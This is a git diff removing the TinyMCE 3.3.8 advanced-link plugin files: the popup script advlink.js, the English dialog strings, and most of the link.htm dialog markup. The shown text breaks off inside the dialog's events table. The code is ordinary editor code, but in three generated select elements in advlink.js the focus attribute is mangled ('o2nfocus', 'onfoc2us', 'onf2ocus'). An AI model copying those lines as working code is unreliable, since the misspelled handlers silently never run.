'mceAdvLink'); - - ed.onNodeChange.add(function(ed, cm, n, co) { - cm.setDisabled('link', co && n.nodeName != 'A'); - cm.setActive('link', n.nodeName == 'A' && !n.name); - }); - }, - - getInfo : function() { - return { - longname : 'Advanced link', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlink', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('advlink', tinymce.plugins.AdvancedLinkPlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/js/advlink.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/js/advlink.js deleted file mode 100644 index b78e82f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/js/advlink.js +++ /dev/null @@ -1,528 +0,0 @@ -/* Functions for the advlink plugin popup */ - -tinyMCEPopup.requireLangPack(); - -var templates = { - "window.open" : "window.open('${url}','${target}','${options}')" -}; - -function preinit() { - var url; - - if (url = tinyMCEPopup.getParam("external_link_list_url")) - document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>'); -} - -function changeClass() { - var f = document.forms[0]; - - f.classes.value = getSelectValue(f, 'classlist'); -} - -function init() { - tinyMCEPopup.resizeToInnerSize(); - - var formObj = document.forms[0]; - var inst = tinyMCEPopup.editor; - var elm = inst.selection.getNode(); - var action = "insert"; - var html; - - document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser','href','file','advlink'); - document.getElementById('popupurlbrowsercontainer').innerHTML = getBrowserHTML('popupurlbrowser','popupurl','file','advlink'); - document.getElementById('linklisthrefcontainer').innerHTML = getLinkListHTML('linklisthref','href'); - document.getElementById('anchorlistcontainer').innerHTML = getAnchorListHTML('anchorlist','href'); - document.getElementById('targetlistcontainer').innerHTML = getTargetListHTML('targetlist','target'); - - // Link list - html = getLinkListHTML('linklisthref','href'); - if (html == "") - document.getElementById("linklisthrefrow").style.display = 'none'; - else - document.getElementById("linklisthrefcontainer").innerHTML = html; - - // Resize some elements - if (isVisible('hrefbrowser')) - document.getElementById('href').style.width = '260px'; - - if (isVisible('popupurlbrowser')) - document.getElementById('popupurl').style.width = '180px'; - - elm = inst.dom.getParent(elm, "A"); - if (elm != null && elm.nodeName == "A") - action = "update"; - - formObj.insert.value = tinyMCEPopup.getLang(action, 'Insert', true); - - setPopupControlsDisabled(true); - - if (action == "update") { - var href = inst.dom.getAttrib(elm, 'href'); - var onclick = inst.dom.getAttrib(elm, 'onclick'); - - // Setup form data - setFormValue('href', href); - setFormValue('title', inst.dom.getAttrib(elm, 'title')); - setFormValue('id', inst.dom.getAttrib(elm, 'id')); - setFormValue('style', inst.dom.getAttrib(elm, "style")); - setFormValue('rel', inst.dom.getAttrib(elm, 'rel')); - setFormValue('rev', inst.dom.getAttrib(elm, 'rev')); - setFormValue('charset', inst.dom.getAttrib(elm, 'charset')); - setFormValue('hreflang', inst.dom.getAttrib(elm, 'hreflang')); - setFormValue('dir', inst.dom.getAttrib(elm, 'dir')); - setFormValue('lang', inst.dom.getAttrib(elm, 'lang')); - setFormValue('tabindex', inst.dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); - setFormValue('accesskey', inst.dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); - setFormValue('type', inst.dom.getAttrib(elm, 'type')); - setFormValue('onfocus', inst.dom.getAttrib(elm, 'onfocus')); - setFormValue('onblur', inst.dom.getAttrib(elm, 'onblur')); - setFormValue('onclick', onclick); - setFormValue('ondblclick', inst.dom.getAttrib(elm, 'ondblclick')); - setFormValue('onmousedown', inst.dom.getAttrib(elm, 'onmousedown')); - setFormValue('onmouseup', inst.dom.getAttrib(elm, 'onmouseup')); - setFormValue('onmouseover', inst.dom.getAttrib(elm, 'onmouseover')); - setFormValue('onmousemove', inst.dom.getAttrib(elm, 'onmousemove')); - setFormValue('onmouseout', inst.dom.getAttrib(elm, 'onmouseout')); - setFormValue('onkeypress', inst.dom.getAttrib(elm, 'onkeypress')); - setFormValue('onkeydown', inst.dom.getAttrib(elm, 'onkeydown')); - setFormValue('onkeyup', inst.dom.getAttrib(elm, 'onkeyup')); - setFormValue('target', inst.dom.getAttrib(elm, 'target')); - setFormValue('classes', inst.dom.getAttrib(elm, 'class')); - - // Parse onclick data - if (onclick != null && onclick.indexOf('window.open') != -1) - parseWindowOpen(onclick); - else - parseFunction(onclick); - - // Select by the values - selectByValue(formObj, 'dir', inst.dom.getAttrib(elm, 'dir')); - selectByValue(formObj, 'rel', inst.dom.getAttrib(elm, 'rel')); - selectByValue(formObj, 'rev', inst.dom.getAttrib(elm, 'rev')); - selectByValue(formObj, 'linklisthref', href); - - if (href.charAt(0) == '#') - selectByValue(formObj, 'anchorlist', href); - - addClassesToList('classlist', 'advlink_styles'); - - selectByValue(formObj, 'classlist', inst.dom.getAttrib(elm, 'class'), true); - selectByValue(formObj, 'targetlist', inst.dom.getAttrib(elm, 'target'), true); - } else - addClassesToList('classlist', 'advlink_styles'); -} - -function checkPrefix(n) { - if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_email'))) - n.value = 'mailto:' + n.value; - - if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_external'))) - n.value = 'http://' + n.value; -} - -function setFormValue(name, value) { - document.forms[0].elements[name].value = value; -} - -function parseWindowOpen(onclick) { - var formObj = document.forms[0]; - - // Preprocess center code - if (onclick.indexOf('return false;') != -1) { - formObj.popupreturn.checked = true; - onclick = onclick.replace('return false;', ''); - } else - formObj.popupreturn.checked = false; - - var onClickData = parseLink(onclick); - - if (onClickData != null) { - formObj.ispopup.checked = true; - setPopupControlsDisabled(false); - - var onClickWindowOptions = parseOptions(onClickData['options']); - var url = onClickData['url']; - - formObj.popupname.value = onClickData['target']; - formObj.popupurl.value = url; - formObj.popupwidth.value = getOption(onClickWindowOptions, 'width'); - formObj.popupheight.value = getOption(onClickWindowOptions, 'height'); - - formObj.popupleft.value = getOption(onClickWindowOptions, 'left'); - formObj.popuptop.value = getOption(onClickWindowOptions, 'top'); - - if (formObj.popupleft.value.indexOf('screen') != -1) - formObj.popupleft.value = "c"; - - if (formObj.popuptop.value.indexOf('screen') != -1) - formObj.popuptop.value = "c"; - - formObj.popuplocation.checked = getOption(onClickWindowOptions, 'location') == "yes"; - formObj.popupscrollbars.checked = getOption(onClickWindowOptions, 'scrollbars') == "yes"; - formObj.popupmenubar.checked = getOption(onClickWindowOptions, 'menubar') == "yes"; - formObj.popupresizable.checked = getOption(onClickWindowOptions, 'resizable') == "yes"; - formObj.popuptoolbar.checked = getOption(onClickWindowOptions, 'toolbar') == "yes"; - formObj.popupstatus.checked = getOption(onClickWindowOptions, 'status') == "yes"; - formObj.popupdependent.checked = getOption(onClickWindowOptions, 'dependent') == "yes"; - - buildOnClick(); - } -} - -function parseFunction(onclick) { - var formObj = document.forms[0]; - var onClickData = parseLink(onclick); - - // TODO: Add stuff here -} - -function getOption(opts, name) { - return typeof(opts[name]) == "undefined" ? "" : opts[name]; -} - -function setPopupControlsDisabled(state) { - var formObj = document.forms[0]; - - formObj.popupname.disabled = state; - formObj.popupurl.disabled = state; - formObj.popupwidth.disabled = state; - formObj.popupheight.disabled = state; - formObj.popupleft.disabled = state; - formObj.popuptop.disabled = state; - formObj.popuplocation.disabled = state; - formObj.popupscrollbars.disabled = state; - formObj.popupmenubar.disabled = state; - formObj.popupresizable.disabled = state; - formObj.popuptoolbar.disabled = state; - formObj.popupstatus.disabled = state; - formObj.popupreturn.disabled = state; - formObj.popupdependent.disabled = state; - - setBrowserDisabled('popupurlbrowser', state); -} - -function parseLink(link) { - link = link.replace(new RegExp('&#39;', 'g'), "'"); - - var fnName = link.replace(new RegExp("\\s*([A-Za-z0-9\.]*)\\s*\\(.*", "gi"), "$1"); - - // Is function name a template function - var template = templates[fnName]; - if (template) { - // Build regexp - var variableNames = template.match(new RegExp("'?\\$\\{[A-Za-z0-9\.]*\\}'?", "gi")); - var regExp = "\\s*[A-Za-z0-9\.]*\\s*\\("; - var replaceStr = ""; - for (var i=0; i<variableNames.length; i++) { - // Is string value - if (variableNames[i].indexOf("'${") != -1) - regExp += "'(.*)'"; - else // Number value - regExp += "([0-9]*)"; - - replaceStr += "$" + (i+1); - - // Cleanup variable name - variableNames[i] = variableNames[i].replace(new RegExp("[^A-Za-z0-9]", "gi"), ""); - - if (i != variableNames.length-1) { - regExp += "\\s*,\\s*"; - replaceStr += "<delim>"; - } else - regExp += ".*"; - } - - regExp += "\\);?"; - - // Build variable array - var variables = []; - variables["_function"] = fnName; - var variableValues = link.replace(new RegExp(regExp, "gi"), replaceStr).split('<delim>'); - for (var i=0; i<variableNames.length; i++) - variables[variableNames[i]] = variableValues[i]; - - return variables; - } - - return null; -} - -function parseOptions(opts) { - if (opts == null || opts == "") - return []; - - // Cleanup the options - opts = opts.toLowerCase(); - opts = opts.replace(/;/g, ","); - opts = opts.replace(/[^0-9a-z=,]/g, ""); - - var optionChunks = opts.split(','); - var options = []; - - for (var i=0; i<optionChunks.length; i++) { - var parts = optionChunks[i].split('='); - - if (parts.length == 2) - options[parts[0]] = parts[1]; - } - - return options; -} - -function buildOnClick() { - var formObj = document.forms[0]; - - if (!formObj.ispopup.checked) { - formObj.onclick.value = ""; - return; - } - - var onclick = "window.open('"; - var url = formObj.popupurl.value; - - onclick += url + "','"; - onclick += formObj.popupname.value + "','"; - - if (formObj.popuplocation.checked) - onclick += "location=yes,"; - - if (formObj.popupscrollbars.checked) - onclick += "scrollbars=yes,"; - - if (formObj.popupmenubar.checked) - onclick += "menubar=yes,"; - - if (formObj.popupresizable.checked) - onclick += "resizable=yes,"; - - if (formObj.popuptoolbar.checked) - onclick += "toolbar=yes,"; - - if (formObj.popupstatus.checked) - onclick += "status=yes,"; - - if (formObj.popupdependent.checked) - onclick += "dependent=yes,"; - - if (formObj.popupwidth.value != "") - onclick += "width=" + formObj.popupwidth.value + ","; - - if (formObj.popupheight.value != "") - onclick += "height=" + formObj.popupheight.value + ","; - - if (formObj.popupleft.value != "") { - if (formObj.popupleft.value != "c") - onclick += "left=" + formObj.popupleft.value + ","; - else - onclick += "left='+(screen.availWidth/2-" + (formObj.popupwidth.value/2) + ")+',"; - } - - if (formObj.popuptop.value != "") { - if (formObj.popuptop.value != "c") - onclick += "top=" + formObj.popuptop.value + ","; - else - onclick += "top='+(screen.availHeight/2-" + (formObj.popupheight.value/2) + ")+',"; - } - - if (onclick.charAt(onclick.length-1) == ',') - onclick = onclick.substring(0, onclick.length-1); - - onclick += "');"; - - if (formObj.popupreturn.checked) - onclick += "return false;"; - - // tinyMCE.debug(onclick); - - formObj.onclick.value = onclick; - - if (formObj.href.value == "") - formObj.href.value = url; -} - -function setAttrib(elm, attrib, value) { - var formObj = document.forms[0]; - var valueElm = formObj.elements[attrib.toLowerCase()]; - var dom = tinyMCEPopup.editor.dom; - - if (typeof(value) == "undefined" || value == null) { - value = ""; - - if (valueElm) - value = valueElm.value; - } - - // Clean up the style - if (attrib == 'style') - value = dom.serializeStyle(dom.parseStyle(value), 'a'); - - dom.setAttrib(elm, attrib, value); -} - -function getAnchorListHTML(id, target) { - var inst = tinyMCEPopup.editor; - var nodes = inst.dom.select('a.mceItemAnchor,img.mceItemAnchor'), name, i; - var html = ""; - - html += '<select id="' + id + '" name="' + id + '" class="mceAnchorList" o2nfocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target + '.value='; - html += 'this.options[this.selectedIndex].value;">'; - html += '<option value="">---</option>'; - - for (i=0; i<nodes.length; i++) { - if ((name = inst.dom.getAttrib(nodes[i], "name")) != "") - html += '<option value="#' + name + '">' + name + '</option>'; - } - - html += '</select>'; - - return html; -} - -function insertAction() { - var inst = tinyMCEPopup.editor; - var elm, elementArray, i; - - elm = inst.selection.getNode(); - checkPrefix(document.forms[0].href); - - elm = inst.dom.getParent(elm, "A"); - - // Remove element if there is no href - if (!document.forms[0].href.value) { - tinyMCEPopup.execCommand("mceBeginUndoLevel"); - i = inst.selection.getBookmark(); - inst.dom.remove(elm, 1); - inst.selection.moveToBookmark(i); - tinyMCEPopup.execCommand("mceEndUndoLevel"); - tinyMCEPopup.close(); - return; - } - - tinyMCEPopup.execCommand("mceBeginUndoLevel"); - - // Create new anchor elements - if (elm == null) { - inst.getDoc().execCommand("unlink", false, null); - tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1}); - - elementArray = tinymce.grep(inst.dom.select("a"), function(n) {return inst.dom.getAttrib(n, 'href') == '#mce_temp_url#';}); - for (i=0; i<elementArray.length; i++) - setAllAttribs(elm = elementArray[i]); - } else - setAllAttribs(elm); - - // Don't move caret if selection was image - if (elm.childNodes.length != 1 || elm.firstChild.nodeName != 'IMG') { - inst.focus(); - inst.selection.select(elm); - inst.selection.collapse(0); - tinyMCEPopup.storeSelection(); - } - - tinyMCEPopup.execCommand("mceEndUndoLevel"); - tinyMCEPopup.close(); -} - -function setAllAttribs(elm) { - var formObj = document.forms[0]; - var href = formObj.href.value; - var target = getSelectValue(formObj, 'targetlist'); - - setAttrib(elm, 'href', href); - setAttrib(elm, 'title'); - setAttrib(elm, 'target', target == '_self' ? '' : target); - setAttrib(elm, 'id'); - setAttrib(elm, 'style'); - setAttrib(elm, 'class', getSelectValue(formObj, 'classlist')); - setAttrib(elm, 'rel'); - setAttrib(elm, 'rev'); - setAttrib(elm, 'charset'); - setAttrib(elm, 'hreflang'); - setAttrib(elm, 'dir'); - setAttrib(elm, 'lang'); - setAttrib(elm, 'tabindex'); - setAttrib(elm, 'accesskey'); - setAttrib(elm, 'type'); - setAttrib(elm, 'onfocus'); - setAttrib(elm, 'onblur'); - setAttrib(elm, 'onclick'); - setAttrib(elm, 'ondblclick'); - setAttrib(elm, 'onmousedown'); - setAttrib(elm, 'onmouseup'); - setAttrib(elm, 'onmouseover'); - setAttrib(elm, 'onmousemove'); - setAttrib(elm, 'onmouseout'); - setAttrib(elm, 'onkeypress'); - setAttrib(elm, 'onkeydown'); - setAttrib(elm, 'onkeyup'); - - // Refresh in old MSIE - if (tinyMCE.isMSIE5) - elm.outerHTML = elm.outerHTML; -} - -function getSelectValue(form_obj, field_name) { - var elm = form_obj.elements[field_name]; - - if (!elm || elm.options == null || elm.selectedIndex == -1) - return ""; - - return elm.options[elm.selectedIndex].value; -} - -function getLinkListHTML(elm_id, target_form_element, onchange_func) { - if (typeof(tinyMCELinkList) == "undefined" || tinyMCELinkList.length == 0) - return ""; - - var html = ""; - - html += '<select id="' + elm_id + '" name="' + elm_id + '"'; - html += ' class="mceLinkList" onfoc2us="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target_form_element + '.value='; - html += 'this.options[this.selectedIndex].value;'; - - if (typeof(onchange_func) != "undefined") - html += onchange_func + '(\'' + target_form_element + '\',this.options[this.selectedIndex].text,this.options[this.selectedIndex].value);'; - - html += '"><option value="">---</option>'; - - for (var i=0; i<tinyMCELinkList.length; i++) - html += '<option value="' + tinyMCELinkList[i][1] + '">' + tinyMCELinkList[i][0] + '</option>'; - - html += '</select>'; - - return html; - - // tinyMCE.debug('-- image list start --', html, '-- image list end --'); -} - -function getTargetListHTML(elm_id, target_form_element) { - var targets = tinyMCEPopup.getParam('theme_advanced_link_targets', '').split(';'); - var html = ''; - - html += '<select id="' + elm_id + '" name="' + elm_id + '" onf2ocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target_form_element + '.value='; - html += 'this.options[this.selectedIndex].value;">'; - html += '<option value="_self">' + tinyMCEPopup.getLang('advlink_dlg.target_same') + '</option>'; - html += '<option value="_blank">' + tinyMCEPopup.getLang('advlink_dlg.target_blank') + ' (_blank)</option>'; - html += '<option value="_parent">' + tinyMCEPopup.getLang('advlink_dlg.target_parent') + ' (_parent)</option>'; - html += '<option value="_top">' + tinyMCEPopup.getLang('advlink_dlg.target_top') + ' (_top)</option>'; - - for (var i=0; i<targets.length; i++) { - var key, value; - - if (targets[i] == "") - continue; - - key = targets[i].split('=')[0]; - value = targets[i].split('=')[1]; - - html += '<option value="' + key + '">' + value + ' (' + key + ')</option>'; - } - - html += '</select>'; - - return html; -} - -// While loading -preinit(); -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/langs/en_dlg.js deleted file mode 100644 index c71ffbd..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/langs/en_dlg.js +++ /dev/null @@ -1,52 +0,0 @@ -tinyMCE.addI18n('en.advlink_dlg',{ -title:"Insert/edit link", -url:"Link URL", -target:"Target", -titlefield:"Title", -is_email:"The URL you entered seems to be an email address, do you want to add the required mailto: prefix?", -is_external:"The URL you entered seems to external link, do you want to add the required http:// prefix?", -list:"Link list", -general_tab:"General", -popup_tab:"Popup", -events_tab:"Events", -advanced_tab:"Advanced", -general_props:"General properties", -popup_props:"Popup properties", -event_props:"Events", -advanced_props:"Advanced properties", -popup_opts:"Options", -anchor_names:"Anchors", -target_same:"Open in this window / frame", -target_parent:"Open in parent window / frame", -target_top:"Open in top frame (replaces all frames)", -target_blank:"Open in new window", -popup:"Javascript popup", -popup_url:"Popup URL", -popup_name:"Window name", -popup_return:"Insert 'return false'", -popup_scrollbars:"Show scrollbars", -popup_statusbar:"Show status bar", -popup_toolbar:"Show toolbars", -popup_menubar:"Show menu bar", -popup_location:"Show location bar", -popup_resizable:"Make window resizable", -popup_dependent:"Dependent (Mozilla/Firefox only)", -popup_size:"Size", -popup_position:"Position (X/Y)", -id:"Id", -style:"Style", -classes:"Classes", -target_name:"Target name", -langdir:"Language direction", -target_langcode:"Target language", -langcode:"Language code", -encoding:"Target character encoding", -mime:"Target MIME type", -rel:"Relationship page to target", -rev:"Relationship target to page", -tabindex:"Tabindex", -accesskey:"Accesskey", -ltr:"Left to right", -rtl:"Right to left", -link_list:"Link list" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/link.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/link.htm deleted file mode 100644 index 876669c..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/link.htm +++ /dev/null @@ -1,333 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advlink_dlg.title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/validate.js"></script> - <script type="text/javascript" src="js/advlink.js"></script> - <link href="css/advlink.css" rel="stylesheet" type="text/css" /> -</head> -<body id="advlink" style="display: none"> - <form onsubmit="insertAction();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advlink_dlg.general_tab}</a></span></li> - <li id="popup_tab"><span><a href="javascript:mcTabs.displayTab('popup_tab','popup_panel');" onmousedown="return false;">{#advlink_dlg.popup_tab}</a></span></li> - <li id="events_tab"><span><a href="javascript:mcTabs.displayTab('events_tab','events_panel');" onmousedown="return false;">{#advlink_dlg.events_tab}</a></span></li> - <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#advlink_dlg.advanced_tab}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#advlink_dlg.general_props}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="nowrap"><label id="hreflabel" for="href">{#advlink_dlg.url}</label></td> - <td><table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="href" name="href" type="text" class="mceFocus" value="" onchange="selectByValue(this.form,'linklisthref',this.value);" /></td> - <td id="hrefbrowsercontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr id="linklisthrefrow"> - <td class="column1"><label for="linklisthref">{#advlink_dlg.list}</label></td> - <td colspan="2" id="linklisthrefcontainer"><select id="linklisthref"><option value=""></option></select></td> - </tr> - <tr> - <td class="column1"><label for="anchorlist">{#advlink_dlg.anchor_names}</label></td> - <td colspan="2" id="anchorlistcontainer"><select id="anchorlist"><option value=""></option></select></td> - </tr> - <tr> - <td><label id="targetlistlabel" for="targetlist">{#advlink_dlg.target}</label></td> - <td id="targetlistcontainer"><select id="targetlist"><option value=""></option></select></td> - </tr> - <tr> - <td class="nowrap"><label id="titlelabel" for="title">{#advlink_dlg.titlefield}</label></td> - <td><input id="title" name="title" type="text" value="" /></td> - </tr> - <tr> - <td><label id="classlabel" for="classlist">{#class_name}</label></td> - <td> - <select id="classlist" name="classlist" onchange="changeClass();"> - <option value="" selected="selected">{#not_set}</option> - </select> - </td> - </tr> - </table> - </fieldset> - </div> - - <div id="popup_panel" class="panel"> - <fieldset> - <legend>{#advlink_dlg.popup_props}</legend> - - <input type="checkbox" id="ispopup" name="ispopup" class="radio" onclick="setPopupControlsDisabled(!this.checked);buildOnClick();" /> - <label id="ispopuplabel" for="ispopup">{#advlink_dlg.popup}</label> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="nowrap"><label for="popupurl">{#advlink_dlg.popup_url}</label>&nbsp;</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" name="popupurl" id="popupurl" value="" onchange="buildOnClick();" /></td> - <td id="popupurlbrowsercontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - <tr> - <td class="nowrap"><label for="popupname">{#advlink_dlg.popup_name}</label>&nbsp;</td> - <td><input type="text" name="popupname" id="popupname" value="" onchange="buildOnClick();" /></td> - </tr> - <tr> - <td class="nowrap"><label>{#advlink_dlg.popup_size}</label>&nbsp;</td> - <td class="nowrap"> - <input type="text" id="popupwidth" name="popupwidth" value="" onchange="buildOnClick();" /> x - <input type="text" id="popupheight" name="popupheight" value="" onchange="buildOnClick();" /> px - </td> - </tr> - <tr> - <td class="nowrap" id="labelleft"><label>{#advlink_dlg.popup_position}</label>&nbsp;</td> - <td class="nowrap"> - <input type="text" id="popupleft" name="popupleft" value="" onchange="buildOnClick();" /> / - <input type="text" id="popuptop" name="popuptop" value="" onchange="buildOnClick();" /> (c /c = center) - </td> - </tr> - </table> - - <fieldset> - <legend>{#advlink_dlg.popup_opts}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td><input type="checkbox" id="popuplocation" name="popuplocation" class="checkbox" onchange="buildOnClick();" /></td> - <td class="nowrap"><label id="popuplocationlabel" for="popuplocation">{#advlink_dlg.popup_location}</label></td> - <td><input type="checkbox" id="popupscrollbars" name="popupscrollbars" class="checkbox" onchange="buildOnClick();" /></td> - <td class="nowrap"><label id="popupscrollbarslabel" for="popupscrollbars">{#advlink_dlg.popup_scrollbars}</label></td> - </tr> - <tr> - <td><input type="checkbox" id="popupmenubar" name="popupmenubar" class="checkbox" onchange="buildOnClick();" /></td> - <td class="nowrap"><label id="popupmenubarlabel" for="popupmenubar">{#advlink_dlg.popup_menubar}</label></td> - <td><input type="checkbox" id="popupresizable" name="popupresizable" class="checkbox" onchange="buildOnClick();" /></td> - <td class="nowrap"><label id="popupresizablelabel" for="popupresizable">{#advlink_dlg.popup_resizable}</label></td> - </tr> - <tr> - <td><input type="checkbox" id="popuptoolbar" name="popuptoolbar" class="checkbox" onchange="buildOnClick();" /></td> - <td class="nowrap"><label id="popuptoolbarlabel" for="popuptoolbar">{#advlink_dlg.popup_toolbar}</label></td> - <td><input type="checkbox" id="popupdependent" name="popupdependent" class="checkbox" onchange="buildOnClick();" /></td> - <td class="nowrap"><label id="popupdependentlabel" for="popupdependent">{#advlink_dlg.popup_dependent}</label></td> - </tr> - <tr> - <td><input type="checkbox" id="popupstatus" name="popupstatus" class="checkbox" onchange="buildOnClick();" /></td> - <td class="nowrap"><label id="popupstatuslabel" for="popupstatus">{#advlink_dlg.popup_statusbar}</label></td> - <td><input type="checkbox" id="popupreturn" name="popupreturn" class="checkbox" onchange="buildOnClick();" checked="checked" /></td> - <td class="nowrap"><label id="popupreturnlabel" for="popupreturn">{#advlink_dlg.popup_return}</label></td> - </tr> - </table> - </fieldset> - </fieldset> - </div> - - <div id="advanced_panel" class="panel"> - <fieldset> - <legend>{#advlink_dlg.advanced_props}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="column1"><label id="idlabel" for="id">{#advlink_dlg.id}</label></td> - <td><input id="id" name="id" type="text" value="" /></td> - </tr> - - <tr> - <td><label id="stylelabel" for="style">{#advlink_dlg.style}</label></td> - <td><input type="text" id="style" name="style" value="" /></td> - </tr> - - <tr> - <td><label id="classeslabel" for="classes">{#advlink_dlg.classes}</label></td> - <td><input type="text" id="classes" name="classes" value="" onchange="selectByValue(this.form,'classlist',this.value,true);" /></td> - </tr> - - <tr> - <td><label id="targetlabel" for="target">{#advlink_dlg.target_name}</label></td> - <td><input type="text" id="target" name="target" value="" onchange="selectByValue(this.form,'targetlist',this.value,true);" /></td> - </tr> - - <tr> - <td class="column1"><label id="dirlabel" for="dir">{#advlink_dlg.langdir}</label></td> - <td> - <select id="dir" name="dir"> - <option value="">{#not_set}</option> - <option value="ltr">{#advlink_dlg.ltr}</option> - <option value="rtl">{#advlink_dlg.rtl}</option> - </select> - </td> - </tr> - - <tr> - <td><label id="hreflanglabel" for="hreflang">{#advlink_dlg.target_langcode}</label></td> - <td><input type="text" id="hreflang" name="hreflang" value="" /></td> - </tr> - - <tr> - <td class="column1"><label id="langlabel" for="lang">{#advlink_dlg.langcode}</label></td> - <td> - <input id="lang" name="lang" type="text" value="" /> - </td> - </tr> - - <tr> - <td><label id="charsetlabel" for="charset">{#advlink_dlg.encoding}</label></td> - <td><input type="text" id="charset" name="charset" value="" /></td> - </tr> - - <tr> - <td><label id="typelabel" for="type">{#advlink_dlg.mime}</label></td> - <td><input type="text" id="type" name="type" value="" /></td> - </tr> - - <tr> - <td><label id="rellabel" for="rel">{#advlink_dlg.rel}</label></td> - <td><select id="rel" name="rel"> - <option value="">{#not_set}</option> - <option value="lightbox">Lightbox</option> - <option value="alternate">Alternate</option> - <option value="designates">Designates</option> - <option value="stylesheet">Stylesheet</option> - <option value="start">Start</option> - <option value="next">Next</option> - <option value="prev">Prev</option> - <option value="contents">Contents</option> - <option value="index">Index</option> - <option value="glossary">Glossary</option> - <option value="copyright">Copyright</option> - <option value="chapter">Chapter</option> - <option value="subsection">Subsection</option> - <option value="appendix">Appendix</option> - <option value="help">Help</option> - <option value="bookmark">Bookmark</option> - <option value="nofollow">No Follow</option> - <option value="tag">Tag</option> - </select> - </td> - </tr> - - <tr> - <td><label id="revlabel" for="rev">{#advlink_dlg.rev}</label></td> - <td><select id="rev" name="rev"> - <option value="">{#not_set}</option> - <option value="alternate">Alternate</option> - <option value="designates">Designates</option> - <option value="stylesheet">Stylesheet</option> - <option value="start">Start</option> - <option value="next">Next</option> - <option value="prev">Prev</option> - <option value="contents">Contents</option> - <option value="index">Index</option> - <option value="glossary">Glossary</option> - <option value="copyright">Copyright</option> - <option value="chapter">Chapter</option> - <option value="subsection">Subsection</option> - <option value="appendix">Appendix</option> - <option value="help">Help</option> - <option value="bookmark">Bookmark</option> - </select> - </td> - </tr> - - <tr> - <td><label id="tabindexlabel" for="tabindex">{#advlink_dlg.tabindex}</label></td> - <td><input type="text" id="tabindex" name="tabindex" value="" /></td> - </tr> - - <tr> - <td><label id="accesskeylabel" for="accesskey">{#advlink_dlg.accesskey}</label></td> - <td><input type="text" id="accesskey" name="accesskey" value="" /></td> - </tr> - </table> - </fieldset> - </div> - - <div id="events_panel" class="panel"> - <fieldset> - <legend>{#advlink_dlg.event_props}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="column1"><label for="onfocus">onfocus</label></td> - <td><input id="onfocus" name="onfocus" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onblur">onblur</label></td> - <td><input id="onblur" name="onblur" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onclick">onclick</label></td> - <td><input id="onclick" name="onclick" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="ondblclick">ondblclick</label></td> - <td><input id="ondblclick" name="ondblclick" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onmousedown">onmousedown</label></td> - <td><input id="onmousedown" name="onmousedown" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onmouseup">onmouseup</label></td> - <td><input id="onmouseup" name="onmouseup" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onmouseover">onmouseover</label></td> - <td><input id="onmouseover" name="onmouseover" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onmousemove">onmousemove</label></td> - <td><input id="onmousemove" name="onmousemove" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onmouseout">onmouseout</label></td> - <td><input id="onmouseout" name="onmouseout" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onkeypress">onkeypress</label></td> 